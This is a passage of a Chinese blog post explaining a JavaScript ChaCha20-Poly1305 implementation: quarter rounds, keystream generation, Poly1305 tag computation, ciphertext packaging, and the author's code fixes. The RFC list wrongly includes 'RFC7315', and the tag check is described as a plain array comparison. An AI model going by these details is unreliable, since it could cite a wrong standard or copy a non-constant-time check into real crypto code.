&lt;li&gt;rotate: 循环左移，一种循环位移操作&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;chachahe-xin-bian-huan&quot;&gt;Chacha核心变换&lt;&#x2F;h3&gt;
&lt;p&gt;ChaCha的核心变换，其实就是一个函数：quarterRound（四分之一轮，QR）(下图)。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;chacha20-poly1305-js&#x2F;chacha-quarter-round.webp&quot; alt=&quot;sc3.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个函数的设计缘由和设计这里就无法在深入探讨了，它就是这样设计的，就是一个数据的变换方式。这个变换里面，只用到了ADD-Rotate-XOR(ARX)三种操作，可以在计算机中非常高效的运行。对照下面的JS代码，可以更直观的了解是如何实现图中操作流程的:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;css&quot; class=&quot;language-css &quot;&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;x[a] = (x[a] + x[b]) &amp;gt;&amp;gt;&amp;gt; 0; x[d] = this.rotate(x[d] ^ x[a], 16);
x[c] = (x[c] + x[d]) &amp;gt;&amp;gt;&amp;gt; 0; x[b] = this.rotate(x[b] ^ x[c], 12);

x[a] = (x[a] + x[b]) &amp;gt;&amp;gt;&amp;gt; 0; x[d] = this.rotate(x[d] ^ x[a], 8);
x[c] = (x[c] + x[d]) &amp;gt;&amp;gt;&amp;gt; 0; x[b] = this.rotate(x[b] ^ x[c], 7);

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里，x就是密钥块的数组，abcd是数组元素的位置(索引)。在块计算中，每次都有4个块元素按照规则参与变换操作，设及整个块的1&#x2F;4，所以这个变换就叫QuarterRound。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kuai-ji-suan-chablock&quot;&gt;块计算 chaBlock&lt;&#x2F;h3&gt;
&lt;p&gt;chaBlock函数其实就是基于原始的密钥和一个计数器，来生成新的key的块的过程。&lt;&#x2F;p&gt;
&lt;p&gt;每一个块的初始结构，都是类似的(下图)，差异主要就在于当前要加密的块所使用的计数器。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;chacha20-poly1305-js&#x2F;chacha-state-matrix-layout.webp&quot; alt=&quot;chacha_state.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;也就是下面这个数组：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;chacha20-poly1305-js&#x2F;chacha20-block-initial-state.webp&quot; alt=&quot;sc2.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个结构，也很好的解释了，为什么Chacha20所使用的初始化向量长度为12字节。因为在每个初始块的16个元素里面，有4个是常量，8个是密钥，1个计数器，就只有3个留给了随机初始信息。&lt;&#x2F;p&gt;
&lt;p&gt;在每个块里面，会做10轮变换；每轮变换中，包括两个不同类型的变换方式；每种变换方式都包含了1&#x2F;4的块。对于每个块元素而言，总共就是20轮。也就是chacha20的由来。&lt;&#x2F;p&gt;
&lt;p&gt;为什么要做这两种变换呢？ 看一下这些变换的元素的位置，我们就应该可以理解了(下图和代码)。 其实就是先对每一列做一次变换，然后对对角元素做一次变换。(如果是强迫症患者，难道不应该再加一个行元素变换和反对角元素变换吗？)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;chacha20-poly1305-js&#x2F;chacha20-state-matrix-layout.webp&quot; alt=&quot;chacha_round.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;
    let wkState = new Uint32Array(state);
    for (let i = 0; i &amp;lt; this.CHA_ROUND; i++) {
        this.quarterRound(wkState, 0, 4, 8,  12);
        this.quarterRound(wkState, 1, 5, 9,  13);
        this.quarterRound(wkState, 2, 6, 10, 14);
        this.quarterRound(wkState, 3, 7, 11, 15);

        this.quarterRound(wkState, 0, 5, 10, 15);
        this.quarterRound(wkState, 1, 6, 11, 12);
        this.quarterRound(wkState, 2, 7, 8,  13);
        this.quarterRound(wkState, 3, 4, 9,  14);
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;块计算的基本过程包括三个步骤，首先是一个初始块，然后基于初始块，和10轮2种QR变换，生成一个操作块，然后和初始块进行一个矩阵相加，就得到最后的块密钥，可以用于后续加密处理了。&lt;&#x2F;p&gt;
&lt;p&gt;chacha有一种不常见的分支，就是chacha12，那就是应该是计算6轮了。所以理论上我们也可以使用不同的轮次，发明自己独有的算法实现吗？&lt;&#x2F;p&gt;
&lt;p&gt;还有可以看到，这个结构，块密钥的计算，其实是可以做并行处理的，因为每个块，都不依赖其他的块。这样可以方便的提高加解密处理的性能。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jia-jie-mi-bian-ma-chaencode&quot;&gt;加解密编码 chaEncode&lt;&#x2F;h3&gt;
&lt;p&gt;加解密编码，就是基于前面提到的密钥块的生成方式，从输入的Key和Nonce，生成一个和原文相同长度的KeyStream(下图)。然后和原文的每个对应的位，都作一个异或操作，就得到了加密后的信息：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;chacha20-poly1305-js&#x2F;chacha20-keystream-xor.webp&quot; alt=&quot;chacha_stream.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上图中的Keystream是基于Key、Nonce和一个计数器来产生的(下图)。这个函数，主要是用来使用轮询的方式，来构造块密钥和调用块计算的。需要注意，加解密编码的调用，是从1开始调用块计算的(从0开始的是留给poly认证计算的)。 ：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;chacha20-poly1305-js&#x2F;chacha20-block-keystream.webp&quot; alt=&quot;chacha_block.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;计算出块密钥之后，就简单的和原文进行异或计算，就进行了加密。解密就是同样的方式，获取同样的块密钥，在对密文进行一次异或计算，就可以得到加密前的原文。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;chacha20-poly1305-js&#x2F;poly1305-mac-auth-diagram.webp&quot; alt=&quot;chacha20_decrypt.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yan-zheng-han-shu-poly1305tag&quot;&gt;验证函数 poly1305Tag&lt;&#x2F;h3&gt;
&lt;p&gt;Poly1305Tag是和chacha20配套的认证计算方法。但从代码中，我们可以看到，在逻辑上它是独立的。因为Poly1305本质上，就是一类Hash函数和MAC(消息验证码)，只不过它在和ChaCha20配合使用的时候，需要配套的认证内容构造方式，和密钥生成方式(如图中所示)而已。除了Chacha之外，笔者在网络上还看到和AES结合使用的方式。&lt;&#x2F;p&gt;
&lt;p&gt;Ploy1305在使用的时候，会对包括附加信息(AD)、AD的补码、加密内容(C)、C的补码、AD的长度信息、C的长度信息，来作为认证的原始内容，然后使用PolyKey进行相关的计算，得到的结果是一个128位的二进制整数，也可以表示成为一个16个字节的数组，就是一个所谓的认证标签(Tag)。这个标签，可以用于代指这个加密的原始信息。解密后可以通过同样的方式来计算一个新的Tag，和原始Tag相比较，来确认加密信息和过程的完整性。&lt;&#x2F;p&gt;
&lt;p&gt;就单一的计算过程而言，Poly1305Tag的计算其实是比chacha要复杂的，主要是涉及大整数操作，所幸的是，这个计算只需要在加密后最后操作一遍，来获得密文的Tag。大致的过程如下：&lt;&#x2F;p&gt;
&lt;p&gt;1 构造需要验证的数据macData， ...adata, encryted, adata.length, encrypte.length， 都要做补位&lt;&#x2F;p&gt;
&lt;p&gt;2 获取认证key(PolyKey)，来自chacha计数器为0时的密钥块的前32个字节&lt;&#x2F;p&gt;
&lt;p&gt;3 将PloyKey分成两个部分，r和s&lt;&#x2F;p&gt;
&lt;p&gt;4 对r进行简单的变换，然后倒置，并转换成为大整数rVal&lt;&#x2F;p&gt;
&lt;p&gt;5 确定tag初始值为0n，记为acc&lt;&#x2F;p&gt;
&lt;p&gt;6 按照块的方式，遍历macData数组，每次取16个字节，然后再后面加一个值为1的字节，倒置这个字节数组，并转换为大整数，记为n&lt;&#x2F;p&gt;
&lt;p&gt;7 求acc和n的和，并和rVal相乘，并求余(2^130-5)，作为当前的acc值&lt;&#x2F;p&gt;
&lt;p&gt;8 进入下一个macData块，直到遍历完成&lt;&#x2F;p&gt;
&lt;p&gt;9 将s进行倒置，并转换为大整数sVal&lt;&#x2F;p&gt;
&lt;p&gt;9 将acc和sVal相加，并求余(2^128)&lt;&#x2F;p&gt;
&lt;p&gt;10 结果是一个128位的整数，通过移位操作转换为一个16字节的数组，就是Tag的结果&lt;&#x2F;p&gt;
&lt;p&gt;11 可选和传入的Tag进行比较匹配，实际上是数组遍历比较&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;chacha20-poly1305-js&#x2F;poly1305-tag-computation.webp&quot; alt=&quot;poly1305.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;验证的时候，将这个过程重复一遍，然后比较原始Tag和计算Tag是否匹配，来确认加密和解密过程中，所有的信息都是否匹配，来保证加解密操作过程中，信息的完整性。&lt;&#x2F;p&gt;
&lt;p&gt;从这个实现中，可以看到，由于Poly1305的操作，涉及很多大整数操作，而JS本身不能直接使用大整数操作，只能先构造大整数的hex字符串，然后利用BigInt构造方法来产生大整数对象进行计算。&lt;&#x2F;p&gt;
&lt;p&gt;简单起见，文中的实现Tag生成和Tag检查，使用了同一个函数，使用是否传入tag值，来确定是生成还是检查模式。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ru-kou-han-shu-encrypt-decrypt&quot;&gt;入口函数 encrypt, decrypt&lt;&#x2F;h3&gt;
&lt;p&gt;前面所有的配置信息、工具和核心变换，都是封装在内部的函数，共内部操作使用的。对于外部调用，实际上就只有两个入口函数，分别是加密函数和解密函数。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;encrypt： 加密程序&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;加密函数的参数包括：需要加密的信息(明文字符串)，密钥，可选的初始化向量和附加信息。&lt;&#x2F;p&gt;
&lt;p&gt;明文支持普通的原始UTF8文本字符串和编码后的字节数组。如果是字符串，则使用TextEncoder将其编码成为字节数组进行后续的处理。&lt;&#x2F;p&gt;
&lt;p&gt;密钥是32个字节的字节数组，需要在调用时在外部进行编码(由于可能来自外面的密钥协商或者对象)。&lt;&#x2F;p&gt;
&lt;p&gt;初始化向量，可选由外部提供，如果没有，则会在内部随机生成一个。形式为12字节的随机字节数组。&lt;&#x2F;p&gt;
&lt;p&gt;附加信息，同样为UTF8字符串，函数会将其编码成为加密所需字节数组。这个信息，对于外部程序是明文。本身不参与加密和解密，但参与认证校验。&lt;&#x2F;p&gt;
&lt;p&gt;数据准备完成之后，将调用chaEncode函数，进入加密流程。&lt;&#x2F;p&gt;
&lt;p&gt;加密的原始结果，是一个和原始明文等长的字节数组。&lt;&#x2F;p&gt;
&lt;p&gt;程序基于这个加密结果，初始向量iv，附加信息和密钥，计算认证信息authTag。为一个16字节的字节数组。&lt;&#x2F;p&gt;
&lt;p&gt;程序最后将加密结果、随机向量iv、附加信息和认证标签整体封装成为一个Uint8字节数组，最后转换成为一个base64字符串，作为最终的加密结果。这个加密信息，就可以在网络上传递或者存储了。&lt;&#x2F;p&gt;
&lt;p&gt;在信息封装的时候，因为考虑到附加信息是可变的，需要在其后面增加一个字节表示此信息的长度。因此当前算法的附加信息的长度限制为256字节，足够满足绝大多数的场景使用了。&lt;&#x2F;p&gt;
&lt;p&gt;由于iv的随机性，最终加密结果会表现出随机性。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;decrypt 解密程序&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;解密计算，基本上是加密计算的逆运算，但由于流加密算法的特性，和AES相比，操作更加简单直观。&lt;&#x2F;p&gt;
&lt;p&gt;解密计算的入参，就是加密结果的base64字符串。程序将它先转换成为Uint8Array字节数组。&lt;&#x2F;p&gt;
&lt;p&gt;数组的最后16字节是tag。&lt;&#x2F;p&gt;
&lt;p&gt;然后前一位是aad的长度，根据这个长度的前n位，就是aad的内容。&lt;&#x2F;p&gt;
&lt;p&gt;然后再前12位，是初始化向量iv。然后再前面就是真正的加密结果。&lt;&#x2F;p&gt;
&lt;p&gt;得到的这些内容，将同样的调用chaEncode函数，就进入了解密流程。在流加密体系中，解密就是将加密的过程，在做一遍异或操作，就可以得到加密原文，就是原始明文了。&lt;&#x2F;p&gt;
&lt;p&gt;然后将原始明文，使用TextDecoder进行解码，就得到原始UTF-8字符串内容。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-ti-he-si-kao&quot;&gt;问题和思考&lt;&#x2F;h2&gt;
&lt;p&gt;在了解了CP1305的实现和细节之后，笔者认为，还有一些问题值得思考和讨论。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;an-quan-xing&quot;&gt;安全性&lt;&#x2F;h3&gt;
&lt;p&gt;作为一个加密算法，人们当然最关心的就是它的安全性了。关于这方面，笔者并没有太多专业方面的基础和研究。但我们可以从行业的采纳性、标准化和应用的深入和广泛，可以体会到到目前为止，基本上没有对这个算法安全方面的担心和质疑(反面的例子，可以参考DES、RC4和MD5)。&lt;&#x2F;p&gt;
&lt;p&gt;如果读者还有疑问，笔者也注意到业界也有很多关于这个算法的安全性方面的研究和讨论，例如下面这篇文章就有比较深入的探讨：&lt;&#x2F;p&gt;
&lt;p&gt;《A Security Analysis of the Composition of ChaCha20 and Poly1305》&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;eprint.iacr.org&#x2F;2014&#x2F;613.pdf&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Feprint.iacr.org%2F2014%2F613.pdf&quot;&gt;eprint.iacr.org&#x2F;2014&#x2F;613.pd…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ying-jian-jia-su&quot;&gt;硬件加速&lt;&#x2F;h3&gt;
&lt;p&gt;从CP1305的设计角度而言，其实这个算法的实现是不复杂的。代码非常精简紧凑，而且安全性方面也比较完备(密钥长度、认证码等等)，所涉及的大量基础操作也是常见的位操作，市场和应用的考验也比较成熟，理论上是非常容易在硬件级别实现，或者使用硬件的方式来进行加速的。但不知道是什么原因，好像很少看到在指令集级别对于CP1305算法的支持。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ren-zheng-de-liu&quot;&gt;认证的流&lt;&#x2F;h3&gt;
&lt;p&gt;由于密钥是可以按照流的方式生成的，CP1305就可以很容易的来支持流数据的加密和解密方式。但认证方面呢？ 如果仔细分析一下它的实现方式，发现也是可以比较好的适应流式的数据的。因为这个认证码，是可以根据当前已经存在的数据，渐进的计算的。验证码的初始数据，是附加信息，然后当流式数据片段进来的时候，当填满一个“块”，就可以开始计算当前的认证码，而且这个验证码是基于上一个验证码和块的内容计算而来的，在流数据加载的同时，就可以同时计算，直到数据流结束，可以做一个收尾的计算，而无需对整个数据进行总体计算。这样也就实现了流化的认证计算，也就是说，在加密和认证方面，CP1305都是为流计算设计的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;suan-fa-yan-zheng-he-jian-rong-xing&quot;&gt;算法验证和兼容性&lt;&#x2F;h3&gt;
&lt;p&gt;文中的示例。可以通过nodejs中的cyrpto模块来进行交互性的验证。但可能更好的方式，是参考标准化的RFC文件。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc7539&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc7539&quot;&gt;《ChaCha20 and Poly1305 for IETF Protocols》&lt;&#x2F;a&gt; (RFC7539 2015)。&lt;&#x2F;p&gt;
&lt;p&gt;相关的开发支持和代码解读，也可以参考这个RFC文件。它还包括了伪代码和示例数据，开发者甚至可以一步一步的用代码和数据来验证自己的实现。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xing-neng&quot;&gt;性能&lt;&#x2F;h3&gt;
&lt;p&gt;从操作和计算的简洁性而言，再加上理论上Chacha可以很好的支持并行计算，还有流计算的模式，可以明显看到CP1305在计算性能、效率和资源方面对比AES或者这一类的分组加密算法是有一定优势的。&lt;&#x2F;p&gt;
&lt;p&gt;在Poly1305方面，本文的实现，其实并不是特别优雅。现在为了实现和理解的方便，使用的是大整数和hex字符串转换计算的方式。理论上，应该直接使用大整数计算库，或者在字节数组层面进行操作，来获得更加原生高效的性能。(更新的版本已经有了相关的优化)&lt;&#x2F;p&gt;
&lt;p&gt;笔者在RFC中，看到了一份有趣的性能对比，来帮助读者可以理解，为什么说CP1305这个算法，是为了高性能软件实现而设计的。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt; +----------------------------+-------------+-------------------+
 | Chip                       | AES-128-GCM | ChaCha20-Poly1305 |
 +----------------------------+-------------+-------------------+
 | OMAP 4460                  |  24.1 MB&amp;#x2F;s  |     75.3 MB&amp;#x2F;s     |
 | Snapdragon S4 Pro          |  41.5 MB&amp;#x2F;s  |     130.9 MB&amp;#x2F;s    |
 | Sandy Bridge Xeon (AES-NI) |   900 MB&amp;#x2F;s  |      500 MB&amp;#x2F;s     |
 +----------------------------+-------------+-------------------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;数据来源：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;www.imperialviolet.org&#x2F;2014&#x2F;02&#x2F;27&#x2F;tlssymmetriccrypto.html&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fwww.imperialviolet.org%2F2014%2F02%2F27%2Ftlssymmetriccrypto.html&quot;&gt;www.imperialviolet.org&#x2F;2014&#x2F;02&#x2F;27&#x2F;…&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chachakuai-mi-yao-chang-liang&quot;&gt;chacha块密钥常量&lt;&#x2F;h3&gt;
&lt;p&gt;从YT上看来的。可能有人会有疑问，chacha的块密钥的16个组成部分中，前四个是常量，这些常量是怎么来的呢？笔者原来也认为它是一个基于某种数学原理的设计，其实根本没有那么复杂：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;static BLK_HEAD   = new Uint32Array(
  &amp;quot;expand 32-byte k&amp;quot;.match(&amp;#x2F;.{1,4}&amp;#x2F;g)
  .map(v=&amp;gt;v.split(&amp;quot;&amp;quot;).reverse().map(c=&amp;gt;c.charCodeAt(0).toString(16)).join(&amp;quot;&amp;quot;))
  .map(i=&amp;gt;parseInt(i,16))
);

&amp;#x2F;&amp;#x2F;[ &amp;#x27;61707865&amp;#x27;, &amp;#x27;3320646e&amp;#x27;, &amp;#x27;79622d32&amp;#x27;, &amp;#x27;6b206574&amp;#x27; ]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;guan-yu-aad&quot;&gt;关于AAD&lt;&#x2F;h3&gt;
&lt;p&gt;前面我们已经了解到，CP1305是一个所谓的AEAD认证加密算法。其中除了消息认证之外，还有一个很重要的相关概念，就是AAD (Additional Authenticated Data，附加认证数据)。&lt;&#x2F;p&gt;
&lt;p&gt;关于AAD的正确的认证和理解应当包括下面几个方面：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;AAD 是一段不需要加密但需要认证的数据&lt;&#x2F;li&gt;
&lt;li&gt;它参与认证过程但不会被加密&lt;&#x2F;li&gt;
&lt;li&gt;在解密时会验证AAD的完整性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;从本文前面代码的实现过程中，应该已经能够了解相关的特性。那么，为什么要设计这么一个机制呢？ 笔者认为是可以在保证安全的前提下，提供更高的业务和应用的灵活性。包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;提供数据完整性验证而无需加密全部数据&lt;&#x2F;li&gt;
&lt;li&gt;允许部分数据可见但仍然保证其完整性&lt;&#x2F;li&gt;
&lt;li&gt;防止篡改攻击&lt;&#x2F;li&gt;
&lt;li&gt;减少不必要的加解密开销&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这样，AAD在真实世界中的常见用途包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;网络协议头部保护&lt;&#x2F;li&gt;
&lt;li&gt;加密文件的元数据保护&lt;&#x2F;li&gt;
&lt;li&gt;数字签名场景&lt;&#x2F;li&gt;
&lt;li&gt;安全通信协议（如 TLS）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;jsshi-xian-zhong-de-yi-xie-keng-he-gai-jin&quot;&gt;JS实现中的一些坑和改进&lt;&#x2F;h3&gt;
&lt;p&gt;笔者原来参考的实现代码，其实里面有一些问题。当然如果是自己运行加密和解密，看起来是可以正常运行的，但如果和标准的实现进行交互(比如nodejs crypto模块中的chacha20-poly1305的实现)，就会出现问题。笔者在这里耽误了一些时间，最后是查询RFC中的实现和示例数据，经过对比分析，才分步骤的解决这些问题，最后实现了标准操作的。除此之外，笔者还改进了原来的一些算法和设定，下面简单列举一些：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;rotate的实现&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这是最主要的问题。rotate是这个算法的一个核心的函数。原来参考的代码是这样的：&lt;&#x2F;p&gt;
&lt;p&gt;static rotate = (v, c) =&amp;gt; (v &amp;lt;&amp;lt; c) | (v &amp;gt;&amp;gt;&amp;gt; (32 - c)) ;&lt;&#x2F;p&gt;
&lt;p&gt;但在单步的实现分析过程中，发现有时会算出来负数，但算法规则是两个无符号32位整数相加，需要得到一个无符号32位整数。问题就出现在上面的函数定义上。经过研究和尝试，发现需要改为以下的形式，就可以进行正确的计算：&lt;&#x2F;p&gt;
&lt;p&gt;static rotate = (v, c) =&amp;gt; ((v &amp;lt;&amp;lt; c) | (v &amp;gt;&amp;gt;&amp;gt; (32 - c))) &amp;gt;&amp;gt;&amp;gt; 0;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Uint32Array创建&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;直接基于数组，来创建Uint32Array，是有问题的。即下面这个操作，可能会出现预期外的结果(会有一些元素无法赋值)：&lt;&#x2F;p&gt;
&lt;p&gt;new Uint32Array([...KEY_HEADER, ...key, counter, ...iv])&lt;&#x2F;p&gt;
&lt;p&gt;出现问题的原因笔者尚不清楚。所以后面选择了其他的处理方式，如使用Array.from()先创建一个临时数组。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;重复使用KeyBlock&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;原来的实现方式，对于每个新的KeyBlock，都是需要使用常量、Key的Nonce，结合Counter进行构造的。但其实可以看到，这些KeyBlock的基本结构，其实都是一样的，唯一的差异之处就在于counter所在的元素。所以笔者就在加密计算开始的时候，构造一个模板KeyBlock，然后在每轮生成的时候，直接复制这个块，然后只修改12位置的数值就可以了。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;KeyBlock使用判断&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;原来的实现设计，是需要判断当前需要加密的字节数量，然后截取所需要的密钥块中的字节。其实完全不需要。现有的方式是直接遍历需要加密的字节流，然后按照需要，生成当前的密钥块来使用，不需要相关的完整性判断，原始字节流结束后，自然密钥字节流的使用就停止了。&lt;&#x2F;p&gt;
&lt;p&gt;需要注意，Chacha使用的密钥流的块的大小，是16个Word，而非原始密钥所使用的16个字节。实际上这个密钥块是扩展和变换出来的，这个和其他一些算法中，密钥块就是原始密钥数组的方式有所不同。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;PolyKey生成和使用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一定要注意，chacha的KeyBlock是一个16个元素的Uint32Array；而PolyKey需要的是一个32个元素的Uint8Array，需要进行截取和转换。当然默认情况下chaBlock生成的就是一个64(16x4)字节的Uint8Array。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Uint8Array -&amp;gt; Bigint&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这个方法，用于将一个字节数组，转换为一个大整数，来参与Poly1305的计算，因为相关的数值相加、相乘、求余，都涉及大整数计算。&lt;&#x2F;p&gt;
&lt;p&gt;原有的实现，是先将字节数组倒置后，转换成为其hex字符串表示，然后基于此字符串创建大整数实例。显然这不是一个高效的做法，新版本中，改进为对字节数组进行reduce和位移操作，理论上可以有更好的性能。这个修改之后，原来的调用方式都有所改变，不需要进行数组的倒置操作了，具体的修改如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&amp;#x2F;&amp;#x2F; 原方案
static ary2Hex   = uint8Array =&amp;gt; Array.from(uint8Array).map(b =&amp;gt; b.toString(16).padStart(2, &amp;#x27;0&amp;#x27;)).join(&amp;#x27;&amp;#x27;);

&amp;#x2F;&amp;#x2F; 现方案
static aryBigint = ui8Ary =&amp;gt; Array.from(ui8Ary).reduce((c,v,i)=&amp;gt;(c | BigInt(v) &amp;lt;&amp;lt; BigInt(i*8)), 0n);

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;pei-zhi-xin-xi&quot;&gt;配置信息&lt;&#x2F;h3&gt;
&lt;p&gt;相关使用的配置信息，都有明确的可配置定义和来源，包括：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;static CHA_ROUND  = 10; &amp;#x2F;&amp;#x2F; QRound 轮次
static IV_LENGTH  = 12; &amp;#x2F;&amp;#x2F; Nonce长度
static TAG_LENGTH = 16; &amp;#x2F;&amp;#x2F; Tag长度
static BLK_SIZE   = 64; &amp;#x2F;&amp;#x2F; 密钥流块大小

static TEXT_KEY   = &amp;quot;expand 32-byte k&amp;quot;;
static BLK_HEAD   = new Uint32Array(
    this.TEXT_KEY.match(&amp;#x2F;.{1,4}&amp;#x2F;g)
    .map(v=&amp;gt;v.split(&amp;quot;&amp;quot;).map(c=&amp;gt;c.charCodeAt(0)).reduce((c,v,i)=&amp;gt; c | v &amp;lt;&amp;lt; (i*8),0))
); &amp;#x2F;&amp;#x2F; [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574]

static POLY_MOD      = (1n &amp;lt;&amp;lt; 130n) - 5n; &amp;#x2F;&amp;#x2F; 2^130-5 BigInt(&amp;#x27;0x3fffffffffffffffffffffffffffffffb&amp;#x27;);
static POLY_REMAIN   = (1n &amp;lt;&amp;lt; 128n); &amp;#x2F;&amp;#x2F; 2^128 16byte

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;rfc&quot;&gt;RFC&lt;&#x2F;h3&gt;
&lt;p&gt;CP1305算法，是由Google率先采纳、使用和推广的(大约是在2015年左右)。鉴于其产品和技术的巨大影响力，这个算法得到了广泛的检验和应用。市场和业界普遍认可其性能和安全性。所以很快后面就将其标准化，并编入了RFC。相关的RFC包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;RFC7315: ChaCha20 and Poly1305 for IETF Protocols&lt;&#x2F;li&gt;
&lt;li&gt;RFC7539: ChaCha20 and Poly1305 for IETF Protocols&lt;&#x2F;li&gt;
&lt;li&gt;RFC7634: ChaCha20, Poly1305, and Their Use in the Internet Key Exchange Protocol (IKE) and IPsec&lt;&#x2F;li&gt;
&lt;li&gt;RFC8103：Using ChaCha20-Poly1305 Authenticated Encryption in the Cryptographic Message Syntax (CMS)&lt;&#x2F;li&gt;
&lt;li&gt;RFC8439: ChaCha20 and Poly1305 for IETF Protocols (2018年的修订版)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在OpenSSL库中，相关算法标识如下：&lt;&#x2F;p&gt;
&lt;p&gt;0x13,0x03 - TLS_CHACHA20_POLY1305_SHA256 - TLS_CHACHA20_POLY1305_SHA256 TLSv1.3 Kx=any      Au=any  Enc=CHACHA20&#x2F;POLY1305(256) Mac=AEAD&lt;&#x2F;p&gt;
